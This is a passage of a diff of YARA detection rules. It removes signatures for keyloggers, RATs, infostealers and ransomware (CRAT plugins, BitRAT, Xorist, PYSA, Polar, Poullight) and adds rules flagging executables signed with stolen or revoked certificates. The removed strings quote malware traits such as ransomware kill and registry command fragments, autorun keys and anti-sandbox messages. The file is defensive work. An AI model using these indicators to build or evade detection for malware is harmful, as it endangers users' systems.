-		logic_hash = "5a9fef68e110a1564dd5956408abcc3736cfa6853e1ac5510a089cc68f6bdc35"
+		logic_hash = "a7ff863b07d5ce011bdbcf86a3f562e8201926c138848544559bd1d16597ff95"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "cmd /c \"dir %s /s >> %s\"" wide
-		$s2 = "Set-Cookie:\\b*{.+?}\\n" wide
-		$s3 = "Location: {[0-9]+}" wide
-		$s4 = "Content-Disposition: form-data; name=\"%s\"; filename=\"" ascii
-		$s6 = "%serror.log" wide
-		$v2x_1 = "?timestamp=%u" wide
-		$v2x_2 = "config.txt" wide
-		$v2x_3 = "entdll.dll" wide
-		$v2x_4 = "\\cmd.exe" wide
-		$v2x_5 = "[MyDocuments]" wide
-		$v2x_6 = "@SetWindowTextW FindFileExA" wide
-		$v2x_7 = "Microsoft\\Windows\\WinX\\Group1\\*.exe" wide
-		$v2s_1 = "Installed Anti Virus Programs" ascii
-		$v2s_2 = "Running Processes" ascii
-		$v2s_3 = "id=%u&content=" ascii
+		thumbprint = "7745253a3f65311b84d8f64b74f249364d29e765"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 6 of ($v2x*) or all of ($v2s*) or (2 of ($v2s*) and 4 of ($v2x*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Invincea, Inc." and pe.signatures[i].serial=="0b:e3:f3:93:d1:ef:02:72:ae:d0:e2:31:9c:1b:5d:d0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cratpluginkeylogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_65628C146Ace93037Fc58659F14Bd35F : FILE
 {
 	meta:
-		description = "Detects CRAT keylogger plugin DLL"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a8682786-7704-56f0-a6df-b4e2ab4d7536"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9104836a-3385-5b78-9e1d-705b7ed4b721"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1946-L1962"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3958-L3969"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "58ef1f7466fcc871be2e74aa447c76970fd90c9d9d345a896fb8e6335114d189"
+		logic_hash = "a6b4cc307d6e6f4d5d275ef0765a7082216b1d277c9b1328abe7cb2c2497e411"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.CRAT"
-
-	strings:
-		$ai1 = "VM detected!" fullword wide
-		$ai2 = "Sandbox detected!" fullword wide
-		$ai3 = "Debug detected!" fullword wide
-		$ai4 = "Analysis process detected!" fullword wide
-		$s1 = "Create KeyLogMutex %s failure %d" wide
-		$s2 = "Key Log Mutex already created! %s" wide
-		$s3 = /KeyLogThread\s(started|finished|terminated)!/ wide
-		$s4 = /KeyLog_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
+		thumbprint = "b59165451be46b8d72d09191d0961c755d0107c8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 5 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ESET, spol. s r.o." and pe.signatures[i].serial=="65:62:8c:14:6a:ce:93:03:7f:c5:86:59:f1:4b:d3:5f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cratpluginclipboardmonitor : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0084817E07288A5025B9435570E7Fec1D3 : FILE
 {
 	meta:
-		description = "Detects CRAT Clipboad Monitor plugin DLL"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "587487c7-f00b-5d4a-8b18-e46d6c6560e2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "31528b27-4a0c-5e97-b201-07e89248196a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1964-L1979"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3971-L3982"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c3e692a06388e143a8e1053e75a6eb6a82da5bdf26d38e3a0e339bc20d8312a1"
+		logic_hash = "89da849911c6d6a3b6d45166bd9975828887b50ee149dea4cbae9cc5c0ecf6d2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$ai1 = "VM detected!" fullword wide
-		$ai2 = "Sandbox detected!" fullword wide
-		$ai3 = "Debug detected!" fullword wide
-		$ai4 = "Analysis process detected!" fullword wide
-		$s1 = "Clipboard Monitor Mutex [%s] already created!" wide
-		$s2 = "ClipboardMonitorThread started!" fullword wide
-		$s3 = /MonitorClipboardThread\s(finished|terminated)!/ wide
-		$s4 = /ClipboardMonitor_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
+		thumbprint = "f22e8c59b7769e4a9ade54aee8aaf8404a7feaa7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 5 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\xB4\\xBC\\xE8\\x89\\xBE\\xE5\\xBE\\xB7\\xE8\\xB4\\xBC\\xE6\\x8F\\x90\\xD0\\xAD\\xD0\\xAD\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE8\\xB4\\xBC\\xD0\\xAD\\xE5\\xBE\\xB7\\xE8\\xB4\\xBC\\xE8\\xB4\\xBC\\xE5\\xB0\\x94\\xE6\\x8F\\x90\\xE8\\x89\\xBE\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE5\\xB0\\x94\\xE6\\x8F\\x90\\xE8\\xB4\\xBC\\xE8\\x89\\xBE\\xD0\\xAD\\xE8\\x89\\xBE" and pe.signatures[i].serial=="00:84:81:7e:07:28:8a:50:25:b9:43:55:70:e7:fe:c1:d3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cratpluginscreencapture : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4D26Bab89Fcf7Ff9Fa4Dc4847E563563 : FILE
 {
 	meta:
-		description = "Detects CRAT Screen Capture plugin DLL"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ef0b6b88-8b1b-5ab5-ad81-276eaff0411f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "168281bf-35ad-542a-adb4-20d719e31e2d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1981-L2000"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3984-L3995"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7b4378ae883d01338fabe2eb50a5509b722c661e63afc287afa07b263a0ebc42"
+		logic_hash = "3eadf6eda2819101a370688d636250085915be3ebf1b3dec7a86d12a6a5ce681"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$ai1 = "VM detected!" fullword wide
-		$ai2 = "Sandbox detected!" fullword wide
-		$ai3 = "Debug detected!" fullword wide
-		$ai4 = "Analysis process detected!" fullword wide
-		$s1 = "User is inactive!, give up capture" wide
-		$s2 = "Capturing screen..." wide
-		$s3 = "%s\\P%02d%lu.tmp" fullword wide
-		$s4 = "CloseHandle ScreenCaptureMutex failure! %d" fullword wide
-		$s5 = "ScreenCaptureMutex already created! %s" fullword wide
-		$s6 = "Create ScreenCaptureMutex %s failure %d" fullword wide
-		$s7 = /ScreenCaptureThread\s(finished|terminated)!/ wide
-		$s8 = /ScreenCapture_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
+		thumbprint = "2be34a7a39df38f66d5550dcfa01850c8f165c81"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 6 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "qvarn pty ltd" and pe.signatures[i].serial=="4d:26:ba:b8:9f:cf:7f:f9:fa:4d:c4:84:7e:56:35:63")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cratpluginransomhansom : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D9D419C9095A79B1F764297Addb935Da : FILE
 {
 	meta:
-		description = "Detects CRAT Hansom Ransomware plugin DLL"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0bfc97df-545f-5453-afe0-5777dc1c95b4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7c45a78c-2cde-5200-81fd-239effef7fe6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2002-L2020"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3997-L4008"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b22f6d22630f311241634513eb051df2b36af84a938c1ae1f5284e5a5d7d3077"
+		logic_hash = "dd35b48752eec01e1bfff182410da9a857735e0052e9c1a0d7c366dbee808d3c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$cmd1 = "/f /im \"%s\"" wide
-		$cmd2 = "add HKLM\\%s /v %s /t REG_DWORD /d %d /F" wide
-		$cmd3 = "add HKCU\\%s /v %s /t REG_DWORD /d %d /F" wide
-		$cmd4 = "\"%s\" a -y -ep -k -r -s -ibck -df -m0 -hp%s -ri1:%d \"%s\" \"%s\"" wide
-		$s1 = "\\hansom.jpg" wide
-		$s2 = "HansomMain" fullword ascii wide
-		$s3 = "ExtractHansom" fullword ascii wide
-		$s4 = "Hansom2008" fullword ascii
-		$s5 = ".hansomkey" fullword wide
-		$s6 = ".hansom" fullword wide
-		$s7 = /Ransom_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
+		thumbprint = "7d45ec21c0d6fd0eb84e4271655eb0e005949614"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($cmd*) and 2 of ($s*)) or (4 of ($s*) and 1 of ($cmd*)) or 6 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Nova soft" and pe.signatures[i].serial=="00:d9:d4:19:c9:09:5a:79:b1:f7:64:29:7a:dd:b9:35:da")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Aliencrypter : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02E44D7D1D38Ae223B27A02Bacd79B53 : FILE
 {
 	meta:
-		description = "Detects AlienCrypter injector/downloader/obfuscator"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "af9e785a-bdec-5d3e-9a50-56f7f1a0507e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7f2ad143-c46b-58cb-9fe5-c7bb9c6d9234"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2022-L2036"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4010-L4021"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "28a2a6e6d58fd6efbb5753a7be5b621a3eac546d45f9481b9dd2641cbe70b547"
+		logic_hash = "7ab506b2e4a716bc6f7115a071f46df4ea4ac88a4b636506a13ac0d383664e58"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ".AlienRunPE." ascii wide
-		$s2 = "RunAsNewUser_RunDLL" fullword wide
-		$s3 = { 00 50 52 4f 43 45 53 53 5f 53 55 53 50 45 4e 44 5f 52 45 53 55 4d 45 00 64 6e 6c 69 62 2e 50 45 00 }
-		$s4 = { 2e 41 6c 69 65 6e 52 75 6e 50 45 00 50 52 4f 43 45 53 53 5f 54 45 52 4d 49 4e 41 54 45 00 }
-		$s5 = "@@@http" wide
-		$resp1 = "</p><p>@@@77,90," ascii wide
-		$resp2 = "</p><p>@@@HH,JA," ascii wide
+		thumbprint = "34e0ecae125302d5b1c4a7412dbf17bdc1b59f04"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 3 of them ) or (1 of ($resp*) and 2 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai Kingsoft Office Software Co., Ltd." and pe.signatures[i].serial=="02:e4:4d:7d:1d:38:ae:22:3b:27:a0:2b:ac:d7:9b:53")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ficker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_041868Dd49840Ff44F8E3D3070568350 : FILE
 {
 	meta:
-		description = "Detects Ficker infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1cfeea86-e8bf-50fb-ba08-435d7a14a913"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2cfbae1f-9c8a-5263-b9d6-5be27fdca822"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2038-L2055"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4023-L4034"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "adcc0ffc0e1ded36dc41c22d10d2ea293d5740484203892bcecf89a5f4001452"
+		logic_hash = "80abb596d96cb388bf3ff23598fc889d4c14cccf262d01f10a5be3a738a4907e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Ficker"
-
-	strings:
-		$s1 = "JNOde\\" ascii
-		$s2 = "\"SomeNone" fullword ascii
-		$s3 = "kindmessage" fullword ascii
-		$s4 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writting non-UTF-8 byte sequences" ascii
-		$s5 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii
-		$s6 = "(os error other os erroroperation interrruptedwrite zerotimed" ascii
-		$s7 = "(os error other os erroroperation interruptedwrite zerotimed" ascii
-		$s8 = "nPipeAlreadyExistsWouldBlockInvalidInputInvalidDataTimedOutWriteZeroInterruptedOtherN" fullword ascii
-		$s9 = "_matherr(): %s in %s(%g, %g)  (retval=%g)" ascii
+		thumbprint = "e104f236e3ee7d21a0ea8053fe8fc5c412784079"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai Kingsoft Office Software Co., Ltd." and pe.signatures[i].serial=="04:18:68:dd:49:84:0f:f4:4f:8e:3d:30:70:56:83:50")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Xorist : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C501B7176B29A3Cb737361Cf85414874 : FILE
 {
 	meta:
-		description = "Detects Xorist ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "76119441-343d-51c3-90eb-9d54c80a983d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8bebf02c-de14-5488-8720-5fc98b0799bd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2057-L2078"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4036-L4047"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b34e3fa065cabcd8d26908866e53ff599631128e1da884e42a2e63d890879eaa"
+		logic_hash = "f3eb67b39e0e4e12388f17d231fadfc2ea36b1568191a411950c2e24c32ed09c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Xorist"
-
-	strings:
-		$x1 = { 00 4d 00 41 00 47 00 45 00 0b 00 50 00 55 00
-                53 00 53 00 59 00 4c 00 49 00 43 00 4b 00 45
-                00 52 00 }
-		$x2 = { 30 70 33 6e 53 4f 75 72 63 33 20 58 30 72 31 35
-                37 2c 20 6d 6f 74 68 65 72 66 75 63 6b 65 72 21
-                00 70 75 73 73 79 6c 69 63 6b 65 72 00 2e 62 6d
-                70 00 2e 00 2e 2e 00 6f 70 65 6e 00 2e 65 78 65 }
-		$s1 = "\\shell\\open\\command" fullword ascii
-		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii
-		$s3 = "CRYPTED!" fullword ascii
-		$s4 = "Attention!" fullword ascii
-		$s5 = "Password:" fullword ascii
-		$s6 = { 43 6f 6d 53 70 65 63 00 2f 63 20 64 65 6c 20 22 00 22 20 3e 3e 20 4e 55 4c }
+		thumbprint = "0788801185a6bf70b805c2b97a7c6ce66cfbb38d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 5 of ($s*) or (1 of ($x*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x8B\\x92\\xE8\\x89\\xBE\\xE8\\xAF\\xB6\\xE8\\x89\\xBE\\xE8\\xB4\\x9D\\xE8\\xAF\\xB6\\xE8\\xAF\\xB6\\xE8\\xB4\\x9D\\xE5\\x90\\xBE\\xE5\\xBC\\x97\\xE5\\xBC\\x97\\xE5\\x90\\xBE\\xE8\\xAF\\xB6\\xE5\\x8B\\x92\\xE8\\xB4\\x9D\\xE5\\xBC\\x97\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE8\\xAF\\xB6\\xE8\\x89\\xBE\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE8\\x89\\xBE\\xE5\\xBC\\x97\\xE5\\xBC\\x97" and pe.signatures[i].serial=="c5:01:b7:17:6b:29:a3:cb:73:73:61:cf:85:41:48:74")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_PYSA : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_234Bf4Ef892Df307373638014B35Ab37 : FILE
 {
 	meta:
-		description = "Detects PYSA/Mespinoza ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3a3fad6a-46bc-51dc-9723-4412034ca442"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "af403af3-2c10-5742-80f2-c507695106a2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2080-L2100"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4049-L4060"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e614b827bd8d065e94852fed01497c785bf90c52c3624aff9939b3f40ecf96a4"
+		logic_hash = "d01dbb798b309927e666e5e68c56c6eeabad7ccbc427d62f0507597c6e9e7aa7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.PYSA"
-
-	strings:
-		$s1 = "%s\\Readme.README" fullword wide
-		$s2 = "Every byte on any types of your devices was encrypted" ascii
-		$s3 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 74 65 78 74 00 (50|70) (59|79) (53|73) (41|61) }
-		$s4 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 63 61 70 74 69 6f 6e 00 00 (50|70) (59|79) (53|73) (41|61) }
-		$s5 = { 2e 62 61 74 00 00 6f 70 65 6e 00 00 00 00 53
-                4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f
-                66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72
-                65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69
-                63 69 65 73 5c 53 79 73 74 65 6d 00 00 00 }
-		$f1 = ".?AVPK_EncryptorFilter@CryptoPP@@" ascii
-		$f2 = ".?AV?$TF_EncryptorImpl@" ascii
-		$f3 = "@VTF_EncryptorBase@CryptoPP@@" ascii
+		thumbprint = "348f7e395c77e29c1e17ef9d9bd24481657c7ae7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($f*) and 3 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="23:4b:f4:ef:89:2d:f3:07:37:36:38:01:4b:35:ab:37")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Polar : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C650Ae531100A91389A7F030228B3095 : FILE
 {
 	meta:
-		description = "Detects Polar ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ab4e4478-5417-5918-b5df-5b6ffe7438a9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "80ee9422-190d-5a4e-9a4c-fb8d1b2e2f8c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2102-L2123"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4062-L4073"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4f05a8ace9a03d02f54f0ebdd5349d1d1b23db8e34aa71edd44eebf02b88745c"
+		logic_hash = "e5afd76711e1b466d7eba742f50c7f9551498796f0aca45566bd9686034efac3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Polar"
-
-	strings:
-		$s1 = "Encrypt Failed ! ErrorMessage :" wide
-		$s2 = ".locked" fullword wide
-		$s3 = ".cryptd" fullword wide
-		$s4 = "$SysReset" fullword wide
-		$s5 = "Polar.Properties.Resources" ascii wide
-		$s6 = "AES_EnDecryptor.Basement" fullword ascii
-		$s7 = "RunCMDCommand" fullword ascii
-		$s8 = "killerps_list" fullword ascii
-		$s9 = "clearlog" fullword ascii
-		$s10 = "encryptFile" fullword ascii
-		$s11 = "changeBackPictrue" fullword ascii
-		$pdb1 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x86\\Release\\Encode.pdb" ascii
-		$pdb2 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x64\\Release\\Encode.pdb" ascii
+		thumbprint = "05eebfec568abc5fc4b2fd9e5eca087b02e49f53"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (8 of ($s*) or (1 of ($pdb*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "POKEROWA STRUNA SP Z O O" and pe.signatures[i].serial=="c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bitrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4F8Ebbb263F3Cbe558D37118C43F8D58 : FILE
 {
 	meta:
-		description = "Detects BitRAT RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9041a21f-0f27-5e90-8429-863e361381bf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c273f7e4-8c88-5205-be4b-3a8e8bed144e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2125-L2153"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4075-L4086"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "128c3c8cea0439f272de241c77fc9ed46e64419e497091e444e98123dad059cb"
+		logic_hash = "e502e7e08fa82f8bd1b2b15c34999ece6b3d59d75ab1a4dda05b4b9440c49b7c"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.BitRAT"
-
-	strings:
-		$s1 = "\\plg\\" fullword ascii
-		$s2 = "klgoff_del" fullword ascii
-		$s3 = "files_delete" ascii
-		$s4 = "files_zip_start" fullword ascii
-		$s5 = "files_exec" fullword ascii
-		$s6 = "drives_get" fullword ascii
-		$s7 = "srv_list" fullword ascii
-		$s8 = "con_list" fullword ascii
-		$s9 = "ddos_stop" fullword ascii
-		$s10 = "socks5_srv_start" fullword ascii
-		$s11 = "/getUpdates?offset=" fullword ascii
-		$s12 = "Action: /dlex" fullword ascii
-		$s13 = "Action: /clsbrw" fullword ascii
-		$s14 = "Action: /usb" fullword ascii
-		$s15 = "/klg" fullword ascii
-		$s16 = "klg|" fullword ascii
-		$s17 = "Slowloris" fullword ascii
-		$s18 = "Bot ID:" ascii
-		$t1 = "<sz>N/A</sz>" fullword ascii
-		$t2 = "<silent>N/A</silent>" fullword ascii
+		thumbprint = "3f27a35fe7af06977138d02ad83ddbf13a67b7c3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or (4 of ($s*) and 1 of ($t*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Maxthon Technology Co, Ltd." and pe.signatures[i].serial=="4f:8e:bb:b2:63:f3:cb:e5:58:d3:71:18:c4:3f:8d:58")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Poullight : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_01Ea62E443Cb2250C870Ff6Bb13Ba98E : FILE
 {
 	meta:
-		description = "Detects Poullight infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c80143f8-9c44-5e96-b1ff-2adb4bf031e4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "40c5f73b-70b6-5db7-8060-01ad77e5f319"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2155-L2176"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4088-L4099"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e60ffb10892d35664a088d69c965e130f87bb1a59c257d484bdfe5085074bccd"
+		logic_hash = "dbf281989fb89976f83e0e2395f02c1e8c4c9ec5f96095786d9c6406518eb315"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920074-920075"
-		snort3_sid = "920074-920075"
-		clamav_sig = "MALWARE.Win.Trojan.Poullight"
-
-	strings:
-		$s1 = "zipx" fullword wide
-		$s2 = "{0}Windows Defender.exe" fullword wide
-		$s3 = "pll_test" fullword wide
-		$s4 = "loginusers.vdf" wide
-		$s5 = "Stealer by Nixscare" wide
-		$s6 = "path_lad" fullword ascii
-		$s7 = "<CheckVM>" ascii
-		$s8 = "Poullight.Properties" ascii
-		$s9 = "</ulfile>" fullword wide
-		$s10 = "{0}processlist.txt" fullword wide
